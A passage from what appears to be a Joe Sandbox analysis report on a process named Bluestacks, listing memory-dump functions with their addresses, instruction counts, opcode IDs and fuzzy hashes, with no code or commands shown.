                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 182582a6870e328bb64cfc87038987a880a20f70d0f92b7a36670863efbcacf3
                                                                                              • Instruction ID: aaef5cca1bac851b87ecf25eb6eda5331832a967e0d5813eb0f529e83bac2ac1
                                                                                              • Opcode Fuzzy Hash: 182582a6870e328bb64cfc87038987a880a20f70d0f92b7a36670863efbcacf3
                                                                                              • Instruction Fuzzy Hash: 4121F771A0991D8FDF98DB58C4A5AEDB3B1FF69315F1001AAD14EE3291CB39A981CB40
                                                                                              Function 00007FFD34A688C1 Relevance: .1, Instructions: 79COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 9ee4a7baefe1f61249f3d015201b0fd7a87cec647057bf089c4ca7bbdfa83b49
                                                                                              • Instruction ID: b7eb60ec88e57fe7e3fe35f891c680d16e77d77947bf0659351463aa4663ad3a
                                                                                              • Opcode Fuzzy Hash: 9ee4a7baefe1f61249f3d015201b0fd7a87cec647057bf089c4ca7bbdfa83b49
                                                                                              • Instruction Fuzzy Hash: CA218C71E1D99D8FDB94DF98C8A05ECBBB1FF59314F20007ED10AE7281DA286801DB42
                                                                                              Function 00007FFD34A6598D Relevance: .1, Instructions: 79COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: b22016d433d3b59d99862ecc87739ddc6c0f01eede4a3df275e85952e8e41ea3
                                                                                              • Instruction ID: f3383898de173fe311adac19a47d998dc39b65481730003507ed0e7206fd2e6d
                                                                                              • Opcode Fuzzy Hash: b22016d433d3b59d99862ecc87739ddc6c0f01eede4a3df275e85952e8e41ea3
                                                                                              • Instruction Fuzzy Hash: 2621F466E1D78A4FEB919B6898B50EE7BF0EF57328F14007BC245D6092EE1C28059751
                                                                                              Function 00007FFD34A61AA6 Relevance: .1, Instructions: 76COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: b603801741d0275906297708f6f7e9f93823b245935420a27ea1bdbe485d125b
                                                                                              • Instruction ID: c71c3d018cd9ca6c94c79ffc000929b3a50bec220194d6a8a691e0febb1c0c32
                                                                                              • Opcode Fuzzy Hash: b603801741d0275906297708f6f7e9f93823b245935420a27ea1bdbe485d125b
                                                                                              • Instruction Fuzzy Hash: 18215030F1CA068BD6789E1855E113976E5EF66328B74093DD6CFC3581EE1CB8066642
                                                                                              Function 00007FFD34A6A492 Relevance: .1, Instructions: 72COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 51c2d2517de76b5e68815c3a11d2a19549bbeb50e14a4c5aaaea3baf000d93ee
                                                                                              • Instruction ID: 0dea5e735c7b913a4fcc8f9c3d2e5cf521344c3600680a4d2e59e1e25266bb02
                                                                                              • Opcode Fuzzy Hash: 51c2d2517de76b5e68815c3a11d2a19549bbeb50e14a4c5aaaea3baf000d93ee
                                                                                              • Instruction Fuzzy Hash: 35214F30B1890A8BDB48DF18C4A59B8B3E2FF5A314B508139D55ED3682DF38BC52DB80
                                                                                              Function 00007FFD34A6E6E9 Relevance: .1, Instructions: 71COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: a0cd58c82b67d8c026bf39fbcf5b91d7019b02d803d66b282d62f3695acec83f
                                                                                              • Instruction ID: 5443203ed6c84c7aeb2a42e2cbca9ba67c628fda161af39c7435dcf4aa318734
                                                                                              • Opcode Fuzzy Hash: a0cd58c82b67d8c026bf39fbcf5b91d7019b02d803d66b282d62f3695acec83f
                                                                                              • Instruction Fuzzy Hash: 12211871F199099FDF98DB58C4A5AAEB7B1FF69314F1000BED14EE3291DE38A9408B40
                                                                                              Function 00007FFD34A62EE0 Relevance: .1, Instructions: 68COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: b7b2f23f53d4d9a32e32e245d9599de135f2b8e2ad8b94bbfba5c0f6382ff5c8
                                                                                              • Instruction ID: cf5969a626b945cd504c34bca40614ceceb06e9cdd959fbf12e81086934b6e76
                                                                                              • Opcode Fuzzy Hash: b7b2f23f53d4d9a32e32e245d9599de135f2b8e2ad8b94bbfba5c0f6382ff5c8
                                                                                              • Instruction Fuzzy Hash: DB110D12E5C4678BE728D20480F55B87391EF55315B344A7DD54BCB5DAC93CB9D1A380
                                                                                              Function 00007FFD34A6C020 Relevance: .1, Instructions: 68COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 7185b1d99ae03951f51332e297f0060fc162b81f2b8ce16c803d68d2b5387d84
                                                                                              • Instruction ID: 85ad3b7c4e8e2e70e08195109080dd903c1462b7d48dfb0cbf2b32a058f94905
                                                                                              • Opcode Fuzzy Hash: 7185b1d99ae03951f51332e297f0060fc162b81f2b8ce16c803d68d2b5387d84
                                                                                              • Instruction Fuzzy Hash: 4411DD10B5C46BCAF728D60884F06B47755FF51325B35467AD54FCB5CAC82CB981A780
                                                                                              Function 00007FFD346708F8 Relevance: .1, Instructions: 68COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 53add752f6c31b0ee3e893d005053132a81d5b3208b78c74198c8bd131a2d44b
                                                                                              • Instruction ID: c7bcca38df4d0d0c167178fb4ee28145e6f972ad4db2ea0f534300715c02827e
                                                                                              • Opcode Fuzzy Hash: 53add752f6c31b0ee3e893d005053132a81d5b3208b78c74198c8bd131a2d44b
                                                                                              • Instruction Fuzzy Hash: 85014732B0D93D0B9668D41DDC8B979B7C2DBCBA703155239D98EC3242DC04BC5342C0
                                                                                              Function 00007FFD34A6E70E Relevance: .1, Instructions: 62COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: b5daff14d6b8aeb71b89e4b494ead6d7a208ff55f91cbcf28cb2ce83ce17968e
                                                                                              • Instruction ID: f9d8a3d96a82f5c98ff959e8e6243df5c48bf8a94e6975c4dfd30a29c5e9e699
                                                                                              • Opcode Fuzzy Hash: b5daff14d6b8aeb71b89e4b494ead6d7a208ff55f91cbcf28cb2ce83ce17968e
                                                                                              • Instruction Fuzzy Hash: 80110A31F189198FDF98DB58D4A5AFDB7B1EF59314F1001BED14EE2691DE2969808B00
                                                                                              Function 00007FFD34A6944E Relevance: .1, Instructions: 62COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: f990aff7210d34aec8ff3ee5b7bd62d2c339e97c4c171dbe7f5917d09d7ab984
                                                                                              • Instruction ID: 3c2c9ba207b0e92562f022dc648aa558c17bc69a68cdfeb03e7bbec713c348dd
                                                                                              • Opcode Fuzzy Hash: f990aff7210d34aec8ff3ee5b7bd62d2c339e97c4c171dbe7f5917d09d7ab984
                                                                                              • Instruction Fuzzy Hash: A8110730A1891D9FDF9CDB58C4A5ABDB7B5EB59314F1001BED10EE3291CE29A9818B40
                                                                                              Function 00007FFD34670C38 Relevance: .1, Instructions: 57COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 4a05a618b3bee10acc5b17436c1d2b320dea52c016ec2870fde39eb2a736548c
                                                                                              • Instruction ID: dce76f6a72931f1156f1e5fc0502e5967434a03a08270da512d81fa4d7aeaddb
                                                                                              • Opcode Fuzzy Hash: 4a05a618b3bee10acc5b17436c1d2b320dea52c016ec2870fde39eb2a736548c
                                                                                              • Instruction Fuzzy Hash: B211A375B0DA698FE701DF688CA11ED7FA0EF53311F1480B6C244DB182D93CA54697A0
                                                                                              Function 00007FFD3467108D Relevance: .1, Instructions: 53COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: f8c474b1bc4dae98e877a824bf625a5686be57d4ae69c5dd3ae7947ab5b06b2e
                                                                                              • Instruction ID: 5dfd2ab3c9d5965bdafddd6e0bfb8283f22c24b564c0d506396f10e337c477f6
                                                                                              • Opcode Fuzzy Hash: f8c474b1bc4dae98e877a824bf625a5686be57d4ae69c5dd3ae7947ab5b06b2e
                                                                                              • Instruction Fuzzy Hash: 9B01D625A8E6E10FE36A9AB05CB15F57FE4DF8721070941FFD189CB1A3CC4D58868351
                                                                                              Function 00007FFD34670C40 Relevance: .1, Instructions: 51COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 1af1fbee5c9acf7314058065f17445b896e012784a279d5f040fc814318b9a1d
                                                                                              • Instruction ID: 53119808b977627c3088444142017b92a88fcc8cca657f9898189c899f9d480f
                                                                                              • Opcode Fuzzy Hash: 1af1fbee5c9acf7314058065f17445b896e012784a279d5f040fc814318b9a1d
                                                                                              • Instruction Fuzzy Hash: 8911A175A0EA998FE702DF688CA11ED7FB0EF53311F1480B6C144DB192D93CA64597A0
                                                                                              Function 00007FFD34675AAE Relevance: .0, Instructions: 49COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 1dd0442cec50fcf9f813f5d51f3291f099cd7a6614cc1af108d29c9622c2f808
                                                                                              • Instruction ID: 95a8f4eaf2b7538fddbb5c711dac3d2c727f33e6b847c231256782ce3fe70c5e
                                                                                              • Opcode Fuzzy Hash: 1dd0442cec50fcf9f813f5d51f3291f099cd7a6614cc1af108d29c9622c2f808
                                                                                              • Instruction Fuzzy Hash: 4511F130A485198FDB95DE14C8E4BE977F1FB58301F5441EAD10ED7690CA35AA81CF40
                                                                                              Function 00007FFD34A6A3B9 Relevance: .0, Instructions: 48COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 4b9189ecc45b7e8867047ce58e0510ebd60655f0f49b0e6e3ef2eb58d064a883
                                                                                              • Instruction ID: d5b1d819f9fc789bc57686a2f1bb92c900d011e89909760f5f38e75298b801af
                                                                                              • Opcode Fuzzy Hash: 4b9189ecc45b7e8867047ce58e0510ebd60655f0f49b0e6e3ef2eb58d064a883
                                                                                              • Instruction Fuzzy Hash: 2E012B36B0D78E4FE76095644CA85E93BD4DF47324F1404BAE14AC71D2DD5C6C05D361
                                                                                              Function 00007FFD346747EE Relevance: .0, Instructions: 46COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: e2c788506ba1842aac4210cc89eee602e341d5695898e83dfdebda82c0f20a97
                                                                                              • Instruction ID: 2183139b7b220a8ec01fba525c4c589f37d4ea8703834619376c682c04878885
                                                                                              • Opcode Fuzzy Hash: e2c788506ba1842aac4210cc89eee602e341d5695898e83dfdebda82c0f20a97
                                                                                              • Instruction Fuzzy Hash: 87014F20B089294BFF84FF24C8E8AF827D1EF96300F158475D68AD7292DD2CEC41AB00
                                                                                              Function 00007FFD34A6D86D Relevance: .0, Instructions: 45COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 933f21cdf70af4acaa761b98695f6818c01238713377df0d8113bba50c866545
                                                                                              • Instruction ID: b5fa92cdd893aae39343eeff2262b92ba2e7e44dbd55901236d6a4e575cbb724
                                                                                              • Opcode Fuzzy Hash: 933f21cdf70af4acaa761b98695f6818c01238713377df0d8113bba50c866545
                                                                                              • Instruction Fuzzy Hash: A6F0A93544E2C04FC3128B748C29992BFE0EF1B21470E82EED0C9CB4A3C25D84868701
                                                                                              Function 00007FFD34670C48 Relevance: .0, Instructions: 45COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: c68bcf5b891e19aacc649d87ca8ebf0919644c7f51d197e24efecd2ba06f754d
                                                                                              • Instruction ID: fda5ef0c2cc9a9d9529772e5706b05a9dcbb1cf7cf1a8ee86186262c505133c7
                                                                                              • Opcode Fuzzy Hash: c68bcf5b891e19aacc649d87ca8ebf0919644c7f51d197e24efecd2ba06f754d
                                                                                              • Instruction Fuzzy Hash: 1101C075A0E6998FE701DF648CA00ED7FB0EF43310F1480F6C144DB192D938A6459790
                                                                                              Function 00007FFD34A670A5 Relevance: .0, Instructions: 44COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 159e69f76ef4b041da678a9777f80c32f7946dc46beb8d9ea6db99ee9a1b0a92
                                                                                              • Instruction ID: 93174ae0610cbe815877fa4c225ef7e6fb1cb0e39822b50a43d9164afe3353c0
                                                                                              • Opcode Fuzzy Hash: 159e69f76ef4b041da678a9777f80c32f7946dc46beb8d9ea6db99ee9a1b0a92
                                                                                              • Instruction Fuzzy Hash: 9CF0FC21F0C68E57F77095944C652FE3B95DF47318F104535E18DD6183DD5C6C059791
                                                                                              Function 00007FFD346747CE Relevance: .0, Instructions: 42COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: a2856ed1f5d6448653bd84155c5fa40ad527b9ed88c20968fbdb190cc7906fb3
                                                                                              • Instruction ID: 499901d34be75f2657ab75612dfd970a0bfde40fc64246d68b5af1c9158b6420
                                                                                              • Opcode Fuzzy Hash: a2856ed1f5d6448653bd84155c5fa40ad527b9ed88c20968fbdb190cc7906fb3
                                                                                              • Instruction Fuzzy Hash: EF01E120F1993E5BF7E4DE1888E97F85A91BF5A300F5045B5D58DE3292DD2CAD805710
                                                                                              Function 00007FFD34A6A589 Relevance: .0, Instructions: 40COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 4a977e37ed607dd11d1e30d26abae196c29a638318a3b75592695f53815de50d
                                                                                              • Instruction ID: cec7582034c96ec723b0754c5f8f50e8bf282477bb770a26bf16789dc309ae3a
                                                                                              • Opcode Fuzzy Hash: 4a977e37ed607dd11d1e30d26abae196c29a638318a3b75592695f53815de50d
                                                                                              • Instruction Fuzzy Hash: F7F03C71B199584FEB54EB6898B26ACBBF1EF5A314B1400BDD44ED32D7DE2DA8428700
                                                                                              Function 00007FFD34670C50 Relevance: .0, Instructions: 40COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: d5f3769b388c6a9352da6c7b00bba425a3898934667ca6fee187f7b619346a61
                                                                                              • Instruction ID: 6d152109b106c0a012749697af5369122009a29c8857e58002de6b052de43951
                                                                                              • Opcode Fuzzy Hash: d5f3769b388c6a9352da6c7b00bba425a3898934667ca6fee187f7b619346a61
                                                                                              • Instruction Fuzzy Hash: AF017C74E0EB999FEB11DF6488A01ED7FB0EF13314F1481E6D144DB182EA3CAA459791
                                                                                              Function 00007FFD34A6B0A0 Relevance: .0, Instructions: 39COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 2d7fe1aab749fa879584df2f6b690dde211bb3b1c274f4266097c6e8915dcc14
                                                                                              • Instruction ID: 7ae954f20e7165973a149765719a8b43c6b29d52446c105b0c8364372c8becc4
                                                                                              • Opcode Fuzzy Hash: 2d7fe1aab749fa879584df2f6b690dde211bb3b1c274f4266097c6e8915dcc14
                                                                                              • Instruction Fuzzy Hash: 9FF04420B18E198AEAA4EF25C0B1AB673D2EF99308F504538D48FC75D3DD2CF4469740
                                                                                              Function 00007FFD34A69722 Relevance: .0, Instructions: 39COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: c82728b17730e82a2c66b4baf6434482329d8848f881d239ad0a7dc950faf3b5
                                                                                              • Instruction ID: fc380b7685997bd7ae620daef55059a1be8aaa845d32e67d67660976ff3bb30e
                                                                                              • Opcode Fuzzy Hash: c82728b17730e82a2c66b4baf6434482329d8848f881d239ad0a7dc950faf3b5
                                                                                              • Instruction Fuzzy Hash: 66F0967284E3C59FD7128F7088A14E57FB8AF43228F2800F6D145CB0A2C52D6A46D761
                                                                                              Function 00007FFD34A61F60 Relevance: .0, Instructions: 39COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 1126e049757cf81fb3c889f1984312b7d02c80c2bcebc6f0f259e93a3cd25453
                                                                                              • Instruction ID: d942b432db43c83b8a33ce3d88602f2e52f606d96072d5c1775f1c5287f101d3
                                                                                              • Opcode Fuzzy Hash: 1126e049757cf81fb3c889f1984312b7d02c80c2bcebc6f0f259e93a3cd25453
                                                                                              • Instruction Fuzzy Hash: F1F0A420B18E568EEAA4EF64C0B1AF672D2AF5A314B40493D948FC76D6DE2CF4499740
                                                                                              Function 00007FFD34A605D2 Relevance: .0, Instructions: 38COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 96286048acc54789fca78dce7e3f9a1c97d3cb1436e736f612697f3299d12f69
                                                                                              • Instruction ID: 16fdbb3700b5c2578e2f464d9597359d052922fa1bef47f3964c406ac567b459
                                                                                              • Opcode Fuzzy Hash: 96286048acc54789fca78dce7e3f9a1c97d3cb1436e736f612697f3299d12f69
                                                                                              • Instruction Fuzzy Hash: A2F0F63184E3C99FD312CB7088B14E93FB4EF43218F1800F6D545CB0A2C66C1646E761
                                                                                              Function 00007FFD34A6E9E2 Relevance: .0, Instructions: 36COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 6ff6d66707d4672d1897349c24c555277e4ef0e8914b08b1fc6606441c1922e0
                                                                                              • Instruction ID: 47325d3fde523da555321a828484ee874f628a49e89ec154c34f1164bfaee758
                                                                                              • Opcode Fuzzy Hash: 6ff6d66707d4672d1897349c24c555277e4ef0e8914b08b1fc6606441c1922e0
                                                                                              • Instruction Fuzzy Hash: 5DF0963654E2C69FD312CB7088654DA7FB4FF53228F2900F6D145CB0A2DA6D260AD761
                                                                                              Function 00007FFD34A61DDE Relevance: .0, Instructions: 35COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 016ed4fadb287b95827c9c411dbe65eb1986251ae020b9f874599f29884cc26f
                                                                                              • Instruction ID: e3bb6f6024861e7d0747fda03ba0e634697d1587eb4cbfad42ea80bae65a259c
                                                                                              • Opcode Fuzzy Hash: 016ed4fadb287b95827c9c411dbe65eb1986251ae020b9f874599f29884cc26f
                                                                                              • Instruction Fuzzy Hash: 5CF067307089068BE758CA08C0B97B573D2EF5A328F20453DE95AC76D1EE6EE8808B40
                                                                                              Function 00007FFD34A6AF1E Relevance: .0, Instructions: 35COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 2839d9530783c7908752ddeffadb30afb851cbb22e7d81870124344009468250
                                                                                              • Instruction ID: 29b3ea3ba5af8b93eca5cc82b18359177a6f54bfe211553fc3b5b44e35c36764
